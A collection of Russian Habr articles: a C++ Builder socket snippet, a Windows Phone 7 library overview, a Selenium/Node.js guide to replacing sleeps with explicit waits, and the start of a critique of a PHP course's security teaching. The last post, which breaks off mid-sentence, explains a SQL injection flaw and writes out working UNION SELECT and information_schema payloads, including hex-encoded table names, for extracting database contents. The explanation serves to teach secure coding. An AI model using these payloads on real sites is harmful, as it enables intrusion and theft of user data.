используются лишь следующие методы: Open() для создания сервера и Close() для его разрушения. Используя компоненту ClientSocket, можно создать клиентскую часть приложения. У компоненты ClientSocket имеются следующие свойства: `ClientSocket1->Address; // переменная строкового типа, в которой прописывается IP-адрес сервера ClientSocket1->Host; // переменная строкового типа, в которой прописывается DNS сервера ClientSocket1->Port; // переменная целого типа, определяющая порт сервера, к которому производится подключение` Стоит отметить, что свойство Host является более приоритетном, чем свойство Address. Таким образом, если вы укажете оба свойства, то подключение установится с DNS сервера, который указан в свойстве Host. Подключение устанавливается или разрывается с помощью тех же методов Open() и Close(). Общим для обеих компонент является булево свойство Active, по которому определяется корректность (или активность) соединения. Как видите, всё просто. Но будьте внимательнее с последовательностью событий, совершаемых в данных компонентах, и я верю, что через несколько дней вы сможете написать простенький чат для общения с друзьями. Результат моего исследования этой темы вылился в [методическую разработку](https://docs.google.com/document/d/1bu6wfYCT2O3vpAoUe9yFZjcUj4Jzs2NzGveVC4WQ7bA/edit?hl=ru), благодаря которой я успешно сдал экзамен по программированию. В ней же подробно расписаны принципы работы рассмотренных в данной статье компонент. Также рекомендую ознакомиться с книгой Архангельского А.Я. «Приёмы программирования в C++ Builder 6 и 2006. Механизмы Windows, сети», в которой также освящена тема разработки сетевых приложений. Удачи вам!
https://habr.com/ru/post/119055/
null
ru
null
# Упрощаем разработку под WP7 с библиотекой WPExtensions На днях удалось выпустить релиз библиотеки WPExtensions. Старое рабочее название библиотеки было не очень вразумительное ShWP и в основном в библиотеке собраны расширения и обертки над стандартными элементами управления. Добавил поддержку пакетного менеджера Nuget. Теперь установить библиотеку можно командой: **Install-Package WPExtensions** Также можно скачать библиотеку, исходные коды и демонстрацию с [codeplex](http://wpextensions.codeplex.com/releases/view/84798) Как обычно для использования библиотеки необходимо добавить соответствующее объявление пространства имен: xmlns:WPExtensions=«clr-namespace:WPExtensions;assembly=WPExtensions» Далее рассмотрим основные компоненты библиотеки. **AdvancedApplicationBar** Об этой компоненте была уже публикация на [хабре](http://habrahabr.ru/post/134641/) Коротко повторю что было и опишу что нового в этой версии. AdvancedApplicationBar представляет собой обертку над стандартным ApplicationBar и добавляет несколько новых возможностей. Так как он реализован как элемент управления, его необходимо поместить внутрь основного контейнера (обычно это grid). ``` ... ``` Обратите внимание что MenuItem-ы не надо выделять в отдельный тег. **Поддержка Panorama/Pivot.** Часто требуется для разных Panorama/Pivot итемах отображать разный набор кнопок/меню в ApplicationBar. В msdn предлагается [решение](http://msdn.microsoft.com/en-us/library/hh394036(v=vs.92).aspx) с созданием отдельных ApplicationBar в ресусре и смены ApplicationBar при смене актвиного Item-а Здесь мы можем перенести соответствующую кнопку внутрь PanoramaItem/PivotItem для того что бы обеспечить отображание кнопки/меню только в этом item-е (Button 1/Menu item 1). При этом остальные кнопки меню по умолчанию будут отображаться ПОСЛЕ всех элементов. Если необходимо что бы кнопка/меню отображалась ДО элементов в панораме, достаточно перенести меню/кнопку ДО панорамы (Button 2): ``` ... ... ``` **Поддержка Binding** Как и было описано в прошлый раз, свойства AdvancedApplicationBar, в отличае от оригинала, поддерживают привязку данных. ``` ``` **Поддержка обновления Binding-а для элемента в фокусе.** Это одно из нововведений в новой версии, особенно полезных при активном использовании DataBinding-а. Остановимся на этом пункте поподробнее. Допустим у нас на форме есть TextBox с Binding-ом. И есть соответствующая кнопка Button на форме и стандартная кнопка ``` MessageBox.Show(Text); ``` Если мы редактируем текст и все еще находимся в режиме редактирования (в фокусе в TextBox) при нажатии на ApplicationBarIconButton и при нажатии на Button увидим разный результат. При тапе на ApplicationBarIconButton увидим что отображается старый текст. Это связано с тем что текст обновляется только при потере фокуса а стандартные AppBar кнопки не приводят к потере фокуса. В AdvancedApplicationBar добавлена потеря фокуса при нажатии на кнопки(фокус передается странице) и мы можем увидеть что кнопки теперь отработают как ожидаются и мы увидим новый текст. В случае необходимости можно вернуть поведение по умолчанию атрибутом DisableLostFocus=«True» **Mode=«Default» IsVisible=«True»** Еще пара атрибутов ApplicationBar которые отличаются от значений по умолчанию. По умолчанию значение атрибутов Mode, IsVisible в ApplicationBar установлены в Mode=«Default» IsVisible=«True» В AdvancedApplicationBar значение этих атрибутов по умолчанию не фиксировано и зависит от следующих условий: Если у нас на на странице и/или PanoramaItem/PivotItem есть кнопки то значения атрибутов равны Mode=«Default» IsVisible=«True» ![image](http://akhmed.ru/blogimages/wpextensions/appbar_default.png) Если у нас только элементы меню то значения атрибутов равны: Mode=«Minimized» IsVisible=«True» ![image](http://akhmed.ru/blogimages/wpextensions/appbar_minimized.png) Если у нет ни одной кнопки/элментов меню значение атрибута IsVisible=«False» ![image](http://akhmed.ru/blogimages/wpextensions/appbar_invisible.png) На этом завершается обзор AdvancedApplicationBar. Далее будут идти описания TextBox Extensions **TextBox Extensions** Довольно часто нам не хватает базовой функциональности TextBox. Я планирую в дальнейшем расширять список расширений, но пока внес в библиотеку два расширания для двух наиболее часто встречающихся проблем. Эти расширения можно применить как к отдельному элементу так и к элементам в контейнере (Page, StackPanel, Grid). Например, если мы хотим установить поведение для всех текстовых полей на странице то достаточно добавить атрибут к Page: ``` ``` **UpdateBindingOnChange** Допустим у нас есть текстовое поле привязанное к определенной модели: Довольно часто надо обновлять модель во время изменения текста, обычно для этого в событии TextChanged [производится обновление Binding-а](http://msdn.microsoft.com/en-us/library/ms754356.aspx). Теперь можно вместо этого воспользоватся атрибутом: Extensions.UpdateBindingOnChange=«True» **SelectAllOnFocus** Часто можно увидеть приложения, где при редактировании значений приходится предварительно стирать старое значение, например редактирование цены/количества и т.д… Например заменить 10 на 20. Можно значительно упростить утомительную процедуру для пользователя, если при фокусе в текстовом поле выделить полностью текстовое поле. Пользователь сможет или оставить текущее значение еще раз тапнув или заменить значения просто начав набор нужного значения. ![image](http://akhmed.ru/blogimages/wpextensions/SelectallTextBox.png) Для этого обычно перехватывается GotFocus где вызывается метод txtBox.SelectAll(). Теперь мы можем установить такое поведение с помощью расширения WPExtensions:Extensions.SelectAllOnFocus=«True» **Поддержка микрофона MicrophoneWrapper** В последней версии 1.3 было добавлена обертка над микрофоном в пространстве имен Audio (WPExtensions.Audio) Воспользоваться оберткой тоже достаточно просто: ``` var microphoneWrapper=new MicrophoneWrapper(); ``` Запись звука: ``` microphoneWrapper.Record(); ``` Остановка: ``` microphoneWrapper.Stop(); ``` Проигрывание звука: ``` microphoneWrapper.Play(); ``` Что бы получить записанный звук есть два метода: получение «сырой» или оригинальной записи: ``` microphoneWrapper.GetContent(); ``` получение записи в WAV формате: ``` microphoneWrapper.GetWavContent(); ``` Надеюсь библиотека кому нибудь пригодится, и само собой буду рад любым отзывам.
https://habr.com/ru/post/140678/
null
ru
null
# Selenium и Node.js: пишем надёжные браузерные тесты Есть много хороших статей о том, как начать писать автоматизированные браузерные тесты, используя версию Selenium, предназначенную для Node.js. [![](https://habrastorage.org/r/w780q1/webt/59/ce/2c/59ce2c9a3fff3075665372.jpeg)](https://habrahabr.ru/company/ruvds/blog/338984/) В некоторых материалах говорится о том, как оборачивать тесты в Mocha или Jasmine, в некоторых всё автоматизируют с помощью npm, Grunt или Gulp. Во всех подобных публикациях можно найти сведения о том, как установить и настроить всё необходимое. Там же можно посмотреть простые примеры работающего кода. Всё это весьма полезно, так как, для новичка, собрать работающую среду тестирования, состоящую из множества компонентов, может оказаться не так уж и просто. Однако, в том, что касается подводных камней Selenium, в том, что относится к разбору лучших практических приёмов разработки тестов, эти статьи обычно ожиданий не оправдывают. Сегодня мы начнём с того, на чём обычно заканчиваются другие материалы по автоматизации браузерных тестов с помощью Selenium для Node.js. А именно, мы расскажем о том, как повысить надёжность тестов и «отвязать» их от непредсказуемых явлений, которыми полны браузеры и веб-приложения. Сон — это зло ------------- Метод Selenium `driver.sleep` — худший враг разработчика тестов. Однако, несмотря на это, его используют повсюду. Возможно, это так из-за краткости документации для Node-версии [Selenium](http://seleniumhq.github.io/selenium/docs/api/javascript/), и из-за того, что она покрывает лишь синтаксис API. Ей недостаёт примеров из реальной жизни. Возможно, причина в том, что этот метод используется во множестве примеров кода в блогах и на сайтах вопросов и ответов, вроде StackOverflow. Для того, чтобы разобраться с особенностями метода `driver.sleep`, рассмотрим пример. Предположим, у нас есть анимированная панель, которая, в ходе появления на экране, меняет размеры и положение. Взглянем на неё. ![](https://habrastorage.org/getpro/habr/post_images/cbb/02e/478/cbb02e4789f76b75dfcdaaf7f557f278.gif) *Анимация панели* Это происходит так быстро, что вы, возможно, не заметите, что кнопки и элементы управления внутри панели тоже изменяются в размере и меняют положение. Вот замедленная версия того же процесса. Обратите внимание на то, как зелёная кнопка `Close` меняется вместе с панелью: ![](https://habrastorage.org/getpro/habr/post_images/1a0/04d/cf0/1a004dcf0b8ec7ed44ecf461674f9f6a.gif) *Замедленная анимация панели* Вряд ли подобное поведение панели может помешать нормальной работе реальных пользователей, так как анимация происходит очень быстро. Если она будет достаточно медленной, как во втором примере, и вы попытаетесь щёлкнуть мышью по кнопке `Close` в процессе анимации, вы, вполне возможно, просто по ней не попадёте. Обычно эти анимации происходят так быстро, что у пользователя не возникает желания «ловить» меняющиеся кнопки. Люди просто ждут завершения анимации. Однако, это не относится к Selenium. Он настолько быстр, что может попытаться щёлкнуть по элементу, который всё ещё анимируется. Как результат — можно столкнуться с примерно таким сообщением об ошибке: ``` System.InvalidOperationException : Element is not clickable at point (326, 792.5) ``` В подобной ситуации многие программисты скажут: «Ага, мне нужно дождаться завершения анимации, поэтому просто использую `driver.sleep(1000)` для того, чтобы панель пришла в нормальное состояние». Похоже, задача решена? Однако, не всё так просто. Проблемы driver.sleep --------------------- Команда `driver.sleep(1000)` выполняет именно то, чего от неё можно ожидать. Она останавливает выполнение теста на 1000 миллисекунд и позволяет браузеру продолжать работать: загружать страницы, размещать на них фрагменты документов, анимировать или плавно выводить на экран элементы, или делать что угодно другое. Возвращаясь к нашему примеру, если предположить, что панель достигает нормального состояния за 800 миллисекунд, команда `driver.sleep(1000)` обычно помогает достичь того, ради чего её вызывают. Итак, почему бы ей не воспользоваться? Главная причина заключается в том, что такое поведение [недетерминированно](https://en.wikipedia.org/wiki/Deterministic_algorithm#What_makes_algorithms_non-deterministic.3F). Тут имеется в виду то, что иногда такой код будет работать, а иногда — нет. Так как работает это не всегда, мы приходим к ненадёжным тестам, которые, при определённых условиях, дают сбои. Отсюда — дурная репутация автоматизированных браузерных тестов. Почему же конструкции с `driver.sleep` не всегда работоспособны? Другими словами, почему это недетерминированный механизм? Веб-страница — это гораздо больше, чем то, что можно увидеть. И анимация элементов — отличный пример. Однако, пока всё работает как надо, ничего особенного видеть и не нужно. Тут стоит сказать о том, что веб-страницы проектируют в расчёте на то, что работать с ними будут люди. В ходе тестирования с использованием Selenium со страницами будет взаимодействовать программа, которая гораздо быстрее человека. Например, если скомандовать Selenium сначала найти элемент, а потом щёлкнуть по нему, между этими операциями может пройти всего несколько миллисекунд. Когда с веб-сайтом работает человек, он ждёт, пока элемент полностью появится, прежде чем по нему щёлкнуть. И когда появление элемента занимает меньше секунды, мы, вероятно, даже не заметим этого «ожидания». Selenium не только быстрее и требовательнее обычного пользователя. Тесты, в ходе работы со страницами, вынуждены сталкиваться с различными непредсказуемыми факторами. Рассмотрим некоторые из них: 1. Дизайнер может изменить время анимации с 800 миллисекунд на 1200 миллисекунд. В результате тест с `driver.sleep(1000)` даст сбой. 2. Браузеры не всегда делают именно то, что от них требуется. Из-за нагрузки на систему анимация может затормозиться и занять больше чем 800 миллисекунд. Возможно, даже больше, чем время ожидания, установленное на 1000 миллисекунд. Как результат — снова отказ теста. 3. Различные браузеры имеют различные механизмы визуализации данных, назначают разные приоритеты операциям по размещению элементов на экране. Добавьте новый браузер в набор программ для тестирования и тест опять вылетит с ошибкой. 4. Браузеры, которые контролируют страницы, JavaScript-вызовы, которые меняют их содержимое, по своей природе асинхронны. Если анимация в нашем примере применяется к блоку, который нуждается в информации с сервера, то перед запуском анимации придётся дождаться чего-то вроде результата AJAX-вызова. Теперь, кроме прочего, мы имеем дело с сетевыми задержками. Как результат, невозможно точно оценить время, необходимое для вывода панели на экран. Тест снова не сможет нормально работать. 5. Конечно, есть и другие причины для сбоев тестов, о которых я не знаю. Даже сами браузеры, без учёта внешних факторов — сложные системы, в которых, к тому же есть ошибки. Разные ошибки в разных браузерах. В результате, пытаясь писать надёжные тесты, мы стремимся к тому, чтобы они работали в разных браузерах различных версий и в нескольких операционных системах различных выпусков. Недетерминированные тесты в подобных условиях рано или поздно дают сбои. Если учесть всё это — становится понятным, почему программисты отказываются от автоматизированных тестов и жалуются на то, как они ненадёжны. Как поступит программист для того, чтобы исправить одну из вышеописанных проблем? Он начнёт искать источник сбоя, выяснит, что всё дело — во времени, которое занимает анимация и придёт к очевидному решению — увеличить время ожидания в вызове `driver.sleep`. Затем, полагаясь на удачу, программист будет надеяться, что это улучшение сработает во всех возможных сценариях тестирования, что оно поможет справиться с различными нагрузками на систему, сгладит отличия в системах визуализации различных браузеров, и так далее. Но перед нами всё ещё недетерминированный подход. Поэтому так поступать нельзя. Если вы пока ещё не убедились в том, что `driver.sleep` — это, во многих ситуациях, вредная команда, подумайте вот о чём. Без `driver.sleep` тесты будут работать гораздо быстрее. Например, мы надеемся, что анимация из нашего примера займёт всего 800 миллисекунд. В реальном тестовом наборе подобное предположение приведёт к использованию чего-то вроде `driver.sleep(2000)`, опять же, в надежде на то, что 2-х секунд хватит на то, чтобы анимация успешно завершилась, какими бы ни были дополнительные факторы, влияющие на браузер и страницу. Это — более секунды, потерянной всего на один шаг автоматизированного теста. Если подобных шагов будет много, очень быстро набежит немало таких вот «запасных» секунд. Например, недавно переработанный тест для всего одной из наших веб-страниц, который занимал несколько минут из-за чрезмерного использования `driver.sleep`, теперь выполняется меньше пятнадцати секунд. Предлагаю вашему вниманию конкретные примеры избавления от `driver.sleep` и преобразования тестов в надёжные, полностью детерминированные конструкции. Пара слов о промисах -------------------- JavaScript-API для Selenium интенсивно использует промисы. При этом детали скрыты от программиста благодаря использованию встроенного менеджера промисов. Ожидается, что этот функционал [уберут](https://github.com/SeleniumHQ/selenium/issues/2969), поэтому в будущем вам либо придётся разбираться с тем, как самостоятельно объединять промисы в цепочки, либо с тем, как пользоваться новым механизмом JavaScript async/await. В этом материале в примерах всё ещё используется традиционный встроенный менеджер промисов Selenium и возможности объединения промисов в цепочки. Если вы понимаете, как работают промисы, это будет большим плюсом при анализе нижеприведённых примеров кода. Однако, пользу от этого материала вы получите и в том случае, если с промисами вы пока как следует не разобрались. Пишем тесты ----------- Продолжим пример с кнопкой, находящейся на анимированной панели. Мы хотим по этой кнопке щёлкнуть. Взглянем на несколько специфических особенностей, которые могут поломать наши тесты. Как насчёт элемента, который динамически добавляется на страницу и не существует сразу после того, как страница завершит загрузку? ### Ожидание появления элемента в DOM Следующий код не будет работать, если элемент с CSS id `my-button` был добавлен в DOM после загрузки страницы: ``` // Код инициализации Selenium опущен для ясности // Загрузка страницы. driver.get('https:/foobar.baz'); // Найти элемент. const button = driver.findElement(By.id('my-button')); button.click(); ``` Метод `driver.findElement` ожидает, что элемент уже присутствует в DOM. Он выдаст ошибку, если элемент невозможно немедленно найти. В данном случае «немедленно», из-за вызова `driver.get`, означает: «после того, как завершится загрузка страницы». Помните о том, что текущая версия Selenium для JavaScript самостоятельно управляет промисами. Поэтому каждое выражение будет полностью завершено до перехода к следующему выражению. Обратите внимание на то, что вышеописанный сценарий не всегда нежелателен. Сам по себе вызов `driver.findElement` может быть удобен, если вы уверены, что элемент уже имеется в DOM. Для начала взглянем на то, как не следует исправлять подобную ошибку. Предположим, нам известно, что добавление элемента в DOM может занять несколько секунд: ``` driver.get('https:/foobar.baz'); // Страница загружается, засыпаем на несколько секунд driver.sleep(3000); // Надеемся, что три секунды достаточно для того, чтобы по прошествии этого времени элемент можно было бы найти на странице. const button = driver.findElement(By.id('my-button')); button.click(); ``` По причинам, упомянутым выше, такая конструкция может привести к отказу, и, вероятно, приведёт. Нам нужно разобраться с тем, как ждать появления элемента в DOM. Это довольно просто, подобное нередко встречается в примерах, которые можно найти в интернете. Воспользуемся [хорошо документированным](http://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/ie_exports_Driver.html#wait) методом `driver.wait` для того, чтобы ожидать того момента, когда элемент появится в DOM, не более двадцати секунд. ``` const button = driver.wait(  until.elementLocated(By.id('my-button')),  20000 ); button.click(); ``` Такой подход сразу же даст нам кучу плюсов. Например, если элемент будет добавлен в DOM в течение одной секунды, метод `driver.wait` завершит работу за одну секунду. Он не будет ждать все двадцать секунд, которые ему отведены. Из-за этого поведения мы можем задавать тайм-ауты с большим запасом, не беспокоясь о том, что они замедлят тесты. Такая модель поведения выгодно отличается от `driver.sleep`, который всегда будет ждать всё заданное время. Это работает во многих ситуациях. Но единственный случай, в котором такой подход нам не поможет, заключается в попытке щёлкнуть по элементу, который присутствует в DOM, но ещё не виден на экране. Selenium достаточно интеллектуален для того, чтобы не пытаться щёлкать по невидимому элементу. Это хорошо, так как по такому элементу и пользователь щёлкнуть не может, но это усложняет работу по созданию надёжных автоматизированных тестов. ### Ожидание появления элемента на экране Мы будем основываться на предыдущем примере, так как, прежде чем дождаться того, что элемент станет видимым, имеет смысл подождать момента его добавления в DOM. Кроме того, в нижеприведённом коде вы можете видеть первый пример использования цепочки промисов: ``` const button = driver.wait(  until.elementLocated(By.id('my-button')),  20000 ) .then(element => {   return driver.wait(     until.elementIsVisible(element),     20000   ); }); button.click(); ``` На этом, в общем-то, можно было бы и остановиться, так как мы уже рассмотрели достаточно для того, чтобы значительно улучшить тесты. С использованием этого кода вы сможете избежать множества ситуаций, которые, в противном случае, вызвали бы отказ теста из-за того, что элемента нет в DOM сразу после завершения загрузки страницы. Или из-за того, что он невидим сразу после загрузки страницы из-за чего-то вроде анимации. Или даже по обеим этим причинам. Если вы освоите вышеописанный подход, причин писать недетерминированный код для Selenium у вас возникнуть уже не должно. Однако, писать такой код просто далеко не всегда. Когда сложность задачи растёт, разработчики нередко сдают позиции и снова обращаются к `driver.sleep`. Рассмотрим ещё несколько примеров, которые помогут обойтись без `driver.sleep` в более сложных обстоятельствах. ### Описание собственных условий Благодаря методу `until` JavaScript API для Selenium уже имеет некоторое количество [вспомогательных методов](http://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/lib/until.html), которые можно использовать с `driver.wait`. Кроме того, можно организовать ожидание до тех пор, пока элемент не будет больше существовать, ожидать появления элемента, содержащего конкретный текст, ожидать показа уведомления, или использовать много других условий. Если вы не можете найти того, что вам нужно, среди стандартных методов, вам понадобится написать собственные условия. Это, на самом деле, довольно просто. Главная проблема тут в том, что сложно найти примеры подобных условий. Вот ещё один подводный камень, с которым нам нужно разобраться. В соответствии с [документацией](http://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/lib/webdriver_exports_WebDriver.html#wait), методу `driver.wait` можно предоставить функцию, которая возвращает `true` или `false`. Скажем, нам нужно дождаться, чтобы свойство `opacity` некоего элемента стало бы равным единице: ``` // Получить элемент. const element = driver.wait(  until.elementLocated(By.id('some-id')),  20000 ); // driver.wait всего лишь нужна функция, которая возвращает true или false. driver.wait(() => {  return element.getCssValue('opacity')          .then(opacity => opacity === '1'); }); ``` Такая конструкция кажется полезной и подходящей для повторного использования, поэтому поместим её в функцию: ``` const waitForOpacity = function(element) {  return driver.wait(element => element.getCssValue('opacity')          .then(opacity => opacity === '1');  ); }; ``` Теперь воспользуемся этой функцией: ``` driver.wait(  until.elementLocated(By.id('some-id')),  20000 ) .then(waitForOpacity); ``` А вот тут мы сталкиваемся с проблемой. Что если вы хотите щёлкнуть по элементу, когда он станет полностью непрозрачным? Если мы попытаемся воспользоваться значением, возвращённым вышеприведённым кодом, ничего хорошего у нас не получится: ``` const element = driver.wait(  until.elementLocated(By.id('some-id')),  20000 ) .then(waitForOpacity); // Вот незадача. Переменная element может быть true или false, это не элемент, у которого есть метод click(). element.click(); ``` По той же причине мы не можем в подобной конструкции пользоваться объединением промисов в цепочки. ``` const element = driver.wait(  until.elementLocated(By.id('some-id')),  20000 ) .then(waitForOpacity) .then(element => {  // Так тоже не пойдёт, element и здесь является логическим значением.  element.click(); }); ``` Это всё, однако, легко исправить. Вот улучшенный метод: ``` const waitForOpacity = function(element) {  return driver.wait(element => element.getCssValue('opacity')          .then(opacity => {      if (opacity === '1') {        return element;      } else {        return false;    });  ); }; ``` Этот фрагмент кода возвращает элемент, если условие истинно, а в противном случае возвращает `false`. Такой шаблон подходит для повторного использования, его можно задействовать при написании собственных условий. Вот как можно это применить вместе с объединением промисов в цепочки: ``` driver.wait(  until.elementLocated(By.id('some-id')),  20000 ) .then(waitForOpacity) .then(element => element.click()); ``` Или даже так: ``` const element = driver.wait(  until.elementLocated(By.id('some-id')),  20000 ) .then(waitForOpacity); element.click(); ``` Создание собственных условий позволяет расширить возможности тестов и сделать их детерминированными. Однако, этого достаточно не всегда. ### Уходим в минус Это верно, иногда нужно уходить в минус, а не стремиться выйти в плюс. Я имею тут в виду проверку чего-то, что более не существует, или чего-то, что уже не видно на экране. Предположим, элемент уже присутствует в DOM, но вы не должны с ним взаимодействовать до того, как некоторые данные будут загружены через AJAX. Элемент может быть перекрыт панелью с надписью «Загрузка...». Если вы обратили пристальное внимание на условия, которые предлагает метод `until`, вы могли заметить методы вроде `elementIsNotVisible` или `elementIsDisabled` или на не столь очевидный метод `stalenessOf`. Благодаря одному из этих методов можно организовать проверку на скрытие панели с индикатором загрузки: ``` // Элемент уже добавлен в DOM, отсюда сразу же произойдёт возврат. const desiredElement = driver.wait(  until.elementLocated(By.id('some-id')),  20000 ); // Но с элементом нельзя взаимодействовать до тех пор, пока панель с индикатором загрузки // не исчезнет. driver.wait(  until.elementIsNotVisible(By.id('loading-panel')),  20000 ); // Панель с информацией о загрузке больше не видна, с элементом теперь можно взаимодействовать, не опасаясь ошибок. desiredElement.click(); ``` Исследуя вышеописанные методы, я обнаружил, что метод `stalenessOf` особенно полезен. Он ожидает, пока элемент не будет удалён из DOM, что, кроме прочих причин, может произойти из-за обновления страницы. Вот пример ожидания обновления содержимого `iframe` для продолжения работы: ``` let iframeElem = driver.wait(  until.elementLocated(By.className('result-iframe')),  20000   ); // Выполняем некое действие, которое приводит к обновлению iframe. someElement.click(); // Ожидаем пока предыдущий iframe перестанет существовать: driver.wait(  until.stalenessOf(iframeElem),  20000 ); // Переключаемся на новый iframe. driver.wait(  until.ableToSwitchToFrame(By.className('result-iframe')),  20000 ); // Всё, что будет написано здесь, относится уже к новому iframe. ``` Итоги ----- Главная рекомендация, которую можно дать тем, кто стремится писать надёжные тесты на Selenium, заключается в том, что всегда следует стремиться к детерминизму и отказаться от метода `sleep`. Полагаться на метод `sleep` — значит основываться на произвольных предположениях. А это, рано или поздно, приводит к сбоям. Надеюсь, приведённые здесь примеры помогут вам продвинуться по пути создания качественных тестов на Selenium. Уважаемые читатели! Используете ли вы Selenium для автоматизации тестов?
https://habr.com/ru/post/338984/
null
ru
null
# О проблемах информационной безопасности и IT образования на примере HTML Academy ![image](https://habrastorage.org/r/w780q1/webt/td/_i/9g/td_i9g53i12dwzlxpbcawxjwif0.jpeg) Меня всегда очень интересовала довольно грустная ситуация с языком РНР. Из неказистого шаблонного движка для веб-страничек, к середине 2010-х он вырос в мощный, современный и аккуратный язык программирования… в то время как практически все обучающие материалы в сети выставляют его всё тем же неуклюжим уродцем, который с огромным трудом, не соблюдая никаких стандартов, позволяет разве что сделать примитивную веб-страничку с кучей уязвимостей. Что, разумеется, уже давно совершенно не так. Поэтому когда на форуме РНР клуба появился пост о наборе "наставников" на курс по РНР в HTML Academy, я не раздумывая подал заявку. Чтобы посмотреть как с обстоит с этим дело на платных курсах, а так же по возможности поделиться своим опытом в этой области. Что вам сказать? "Если хотите, чтобы вам и дальше нравилась колбаса, не берите экскурсию на мясокомбинат" Предуведомление. Все мои впечатления относятся к курсу "PHP. Профессиональная веб-разработка". У меня нет информации о других курсах и технологиях, которые преподают в Академии. Есть только общее ощущение, что с технологиями front-end ситуация вроде должна быть получше. Несмотря на то, что курс в целом составлен довольно неплохо, он, к сожалению, изобилует ошибками и неточностями. Чтобы не растекаться мыслью по древу, я не буду останавливаться на мелочах, а сконцентрируюсь на одной теме — безопасности, поскольку она остаётся больным местом всех руководств по языку, и платные курсы — как выяснилось — не являются здесь, увы, исключением. Учитывая важность темы, я планирую подробно разобрать все случаи, объяснить причины заблуждений и показать правильные решения. По этой причине первая часть будет изобиловать техническими подробностями, которые я по возможности буду убирать под спойлер. Но отказываться от них совсем мне не хочется, чтобы статья не превратилась в очередной набор голословных утверждений. Кроме того, я хочу чтобы статья была не столько критической, сколько полезной — для тех, кто только начинает осваивать веб-программирование, причём не только на РНР: я встречался с перечисленными ниже проблемами и в других языках. И я надеюсь что приведённый ниже разбор позволит читателям разложить по полочкам основные вопросы безопасности, и причесать тот сумбур, который остаётся после прочтения разрозненных и часто противоречивых рекомендаций, приводимых в интернете. Забегая вперёд скажу, что мне так и не удалось добиться исправления перечисленных ниже проблем в материалах курса, о причинах чего я попробую порассуждать во второй части. Часть первая, техническая. ========================== Пробелы в освещении вопросов безопасности в материалах курса не являются чем-то новым, а наоборот — коллекцией типичных заблуждений, кочующих по руководствам вида "РНР за 24 часа" и видеокурсам. Тем печальнее их видеть за фасадом вроде бы респектабельного учебного заведения, активно пиарящего свои курсы на Хабре. ### SQL инъекция Для иллюстрации я приведу код из реального учебного проекта, который студент успешно защитил: ``` $id = mysqli_real_escape_string($con, $_GET['id']); $query = "select * from lots where id = ".$id; $result = mysqli_query($con, $query); ``` Люди, знакомые с темой SQL инъекций, уже отбивают себе лицо ладонями, а для остальных поясню: данный код — это типичнейший пример [карго культа (en)](https://en.wikipedia.org/wiki/Cargo_cult_programming), самолёт из соломы. Ритуальное выполнение неких действий без понимания их смысла и — совершенно закономерно — без ожидаемого результата. **Что с этим кодом не так?** Здесь мы видим два совершенно хрестоматийных примера: * собственно пример кода, *уязвимого к SQL инъекции* * а так же пример одного из самых заскорузлых заблуждений в мире РНР — что функция `mysqli_real_escape_string()` — это такая волшебная палочка, которая неким магическим образом защищает нас от любых инъекций — стоит только помахать ей в воздухе Причём это заблуждение напрямую транслируется в учебник: > При использовании mysqli\_real\_escape\_string значение в итоге преобразуется к безопасному виду То есть студент здесь не проявляет никакой самодеятельности, а *строго следует указаниям учебных материалов*. Как и проверяющие, которые не увидели в этом коде ничего предосудительного, оставив этот код без внимания как при проверке промежуточного задания, так и при защите финального проекта: студент успешно закончил курс с отличием. Почему этот код уязвим? Функция `mysqli_real_escape_string()`, как следует из её названия, работает только со **строками**, и применять её для числовых значений бесполезно чуть более чем полностью. Если бы переменная `$id` была взята в кавычки, то да — этот код был бы безопасным. Но поскольку их нету, а функция экранирования, по большому счёту, только для них и нужна, то в результате мы невозбранно можем писать любой SQL, если только в нем не требуются кавычки. В итоге мы имеем код, уязвимый к SQL инъекции. Но тема инъекций всегда ощущается неполной, если не приводится конкретный пример взлома. **Но здесь есть один нюанс...** Раскапывая тему инъекций, всегда сталкиваешься а тем, что реальность немного отличается от расхожих представлений о ней. В частности, классический пример с мальчиком по имени [Bobby Tables](https://xkcd.ru/327/) практически никогда неприменим на практике, поскольку большинство функций для работы с БД не позволяют выполнить больше одного запроса за раз. *Так же не премину отметить, что в этой популярной карикатуре тоже написана чушь про "экранирование символов".* Ну то есть в теории понятно, через эту дырочку можно слить всю информацию из базы данных, но вот как это сделать конкретно? И здесь нас ждёт интересный момент: очень важно не путать понятие инъекции как уязвимости, и как конкретного эксплойта. Уязвимость — это сама возможность модифицировать код SQL, манипулируя входящими данными. Она тут уже есть. А вот эксплойт — это уже собственно конкретная эксплуатация этой уязвимости, и над ней придётся попотеть. То есть очень важно понимать, что даже если один конкретный известный вам эксплойт не подошёл, это не значит, что ваш код безопасен. Синтаксис SQL велик и многообразен — вы даже не представляете, какие там есть варианты для обхода различных ограничений. Из чего надо сделать вывод, что нам важен **сам факт** наличия уязвимости. Если она есть, то хакеры постоянно будут пытаться подобрать подходящий синтаксис SQL, чтобы выполнить вредоносный запрос — и в конце концов преуспеют. Однако я понимаю, что такие рассуждения обычно выглядят разговорами в пользу бедных, и своим студентам я всегда стараюсь наглядно показать, как можно в реальности пострадать от кода, который они пишут. **Реальный пример инъекции** Для того, чтобы слить всю информацию из БД, в первую очередь нам надо выяснить количество полей, которое возвращает исходный запрос. Это мы делаем через UNION, последовательно подставляя различное количество полей в присоединённый запрос. Для этого в `$\_GET['id'] передаём такую строку, меняя в ней количество цифр до тех пор, пока запрос не перестанет выдавать ошибку: ``` 1 union select 1,2,3,4,5 from users limit 1 ``` что в итоге даст нам запрос ``` select * from lots where id = 1 union select 1,2,3,4,5 from users limit 1 ``` как можно заметить, ни одной кавычки в этом запросе нет, так что пресловутая mysqli\_real\_escape\_string позволяет нам его выполнить без проблем. Как только запрос перестаёт падать с ошибкой — мы получили нужное количество полей. Теперь мы можем получить из БД information\_schema список всех таблиц в базе данных или список всех полей в какой-то таблице. Первый шаг мы пропустим, и сразу перейдём ко второму — предположим, что мы уже узнали, что в БД есть таблица users. Для этого выберем поле, которое без изменений выводится на экран, и подставим вместо цифры подзапрос в БД information\_schema ``` select * from bets where id=0 union select 1,(select group_concat(column_ name) from information_schema.columns where table_schema=database() and table_na me=0x7573657273),3,4,5 from users limit 1 ``` Только надо будет указать несуществующий id — чтобы исходный запрос не вернул ни одной строки, и в результат пошли данные из присоединённого запроса. Плюс, как можно увидеть, для того, чтобы избежать использования кавычек, имя таблицы мы передаём через [hex-кодирование](https://dev.mysql.com/doc/refman/8.0/en/hexadecimal-literals.html). Получив таким образом список полей в таблице users, их уже можно будет подставить в UNION запрос и получить на экране 